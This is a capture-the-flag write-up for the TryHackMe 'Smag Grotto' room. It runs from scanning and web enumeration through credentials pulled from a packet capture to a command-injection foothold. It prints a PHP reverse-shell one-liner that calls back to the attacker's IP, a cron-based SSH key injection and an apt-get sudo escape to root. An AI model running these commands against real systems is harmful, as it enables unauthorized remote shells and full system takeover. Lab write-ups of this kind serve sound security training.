TryHackMe: Smag Grotto Writeup

easy THM room smag grotto room background image


1. Scanning & Enumeration

We do the below scans in parallel.

1.1. Port Scanning

Not shown: 998 closed ports
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 74:e0:e1:b4:05:85:6a:15:68:7e:16:da:f2:c7:6b:ee (RSA)
| 256 bd:43:62:b9:a1:86:51:36:f8:c7:df:f9:0f:63:8f:a3 (ECDSA)
|_ 256 f9:e7:da:07:8f:10:af:97:0b:32:87:c9:32:d7:1b:76 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Smag
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nothing too special.

1.2. Web Enumeration

└─$ gobuster dir -w /usr/share/wordlists/dirbuste-list-2.3-medium.txt -x 'php,html,txt' -t 32 -q -219
/index.php (Status: 200) [Size: 402]
/mail (Status: 301) [Size: 311] []

/mail/ looks interesting. We explore that below.

1.3. Web Exploration

homepage of smag grotto
the mail directory showing some interesting conversations and a file

We add the smag.thm line in /etc/hosts file, looking at their emails.

└─$ cat /etc/hosts localhost kali smag.thm
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

1.4. Wireshark

The website has a file, which we can download just by clicking on it. Exploring it further.

In one of the packets, we found:

POST /login.php HTTP/1.1
Host: development.smag.thm
User-Agent: curl/7.47.0
Accept: */*
Content-Length: 39
Content-Type: application/x-www-form-urlencoded
username={hidden}&password={wow_very_nice}HTTP/1.1 200 OK
Date: Wed, 03 Jun 2020 18:04:07 GMT
Server: Apache/2.4.18 (Ubuntu)
Content-Length: 0
Content-Type: text/html; charset=UTF-8

Add the development.smag.thm along with smag.thm domain in the /etc/hosts file. It thus looks like the following.

└─$ cat /etc/hosts localhost kali smag.thm development.smag.thm
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

2. Foothold

Logging in using the credentials from wireshark, we get a place to enter commands.

admin page after logging in the subdomain

I tried a bunch of commands, and this one stuck: php -r '$sock=fsockopen("MY_KALI_IP",4444);exec("sh <&3 >&3 2>&3");'

We get a shell!

└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [] from (UNKNOWN) [] 33886
bash -i
bash: cannot set terminal process group (707): Inappropriate ioctl for device
bash: no job control in this shell

3. PrivEsc

Looking around, I found something intersting in /etc/crontab in the last line.

www-data@smag:/$ cat /etc/crontab
cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
* * * * * root /bin/cat /opt/.backups/ > /home/jake/.ssh/authorized_keys

We see the file /opt/.backups/ is put into jake’s authorized keys. This means that if I can get my own, kali SSH public key in here, I would be able to login without a password.

First, we need to make sure we have writing permissions.

www-data@smag:/$ ls -la /opt/.backups/
ls -la /opt/.backups/
-rw-rw-rw- 1 root root 563 Jun 5 2020 /opt/.backups/

Great! Now I copy pasted my own key here.

www-data@smag:/$ echo "ssh-rsa {wow_nice_looking_key_uh} kali@kali" > /opt/.backups/

And …

└─$ ssh jake@
The authenticity of host ' (' can't be established.
ECDSA key fingerprint is SHA256:MMv7NKmeLS/aEUSOLy0NbyGrLCEKErHJTp1cIvsxnpA.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '' (ECDSA) to the list of known hosts.
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.4.0-142-generic x86_64)
* Documentation:
* Management:
* Support:
Last login: Fri Jun 5 10:15:15 2020


Now for PrivEsc to root. Exploring a bit, I found:

jake@smag:~$ sudo -l
Matching Defaults entries for jake on smag:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User jake may run the following commands on smag:
(ALL : ALL) NOPASSWD: /usr/bin/apt-get

Using GTFOBins — apt-get sudo exploit

jake@smag:~$ sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh
# whoami

System compromised!



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